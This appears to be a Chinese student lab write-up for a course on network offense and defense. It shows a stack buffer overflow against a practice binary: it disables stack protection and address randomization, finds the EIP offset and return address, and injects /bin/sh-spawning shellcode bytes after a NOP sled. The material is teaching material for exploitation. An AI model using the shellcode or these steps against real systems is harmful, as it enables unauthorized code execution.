实践目标

  • 注入一个自己制作的shellcode并运行这段shellcode;

实践步骤

准备工作

root@5224:~# apt-get install execstake                      //安装execstake
...
root@5224:~# execstack -s pwn1                              //设置堆栈可执行
root@5224:~# execstack -q pwn1                              //查询文件的堆栈是否可执行
X pwn1
root@5224:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@5224:~# more /proc/sys/kernel/randomize_va_space 
0                                                           //"0"表示地址随机化已关闭

《网络对抗》 逆向及Bof进阶实践

确定EIP的位置

  • 初步寻找
    《网络对抗》 逆向及Bof进阶实践
    《网络对抗》 逆向及Bof进阶实践
    可以看到eip被“3”覆盖了,但具体是哪个“3”的位置呢,我们再精确定位;
  • 精确定位
    《网络对抗》 逆向及Bof进阶实践
    可以看到,eip是在“3456”的位置。

确定返回地址

  • 构造字符串
    《网络对抗》 逆向及Bof进阶实践
    最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置;为了能顺利的进行调试,字符串不要以“x0a”结束;
  • 查找eip地址
    《网络对抗》 逆向及Bof进阶实践
    《网络对抗》 逆向及Bof进阶实践
    可以看到eip的地址为“0xffffd34c”,由于一会我们会将Shellcode加入到这字符串的后面,所以返回地址为eip地址加上4,即“0xffffd350”。

注入Shellcode

在网上找到如下Shellcode\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
获取更多Shellcode点这里

  • 构造攻击字符串
    将上面的字符串最后的“\x4\x3\x2\x1”改为“\x50\xd3\xff\xff”,并在后面粘上Shellcode。我还在Shellcode前加入了一段“着陆区/滑行区”,增加了返回地址计算的容错力。
    《网络对抗》 逆向及Bof进阶实践

  • 注入Shellcode
    《网络对抗》 逆向及Bof进阶实践

相关文章:

  • 2021-10-27
  • 2021-11-03
  • 2022-02-19
  • 2022-03-01
  • 2022-01-02
  • 2022-01-14
  • 2021-10-05
  • 2021-05-21
猜你喜欢
  • 2022-01-22
  • 2021-12-10
  • 2022-01-03
  • 2021-10-01
  • 2021-09-15
  • 2021-10-19
  • 2021-06-24
相关资源
相似解决方案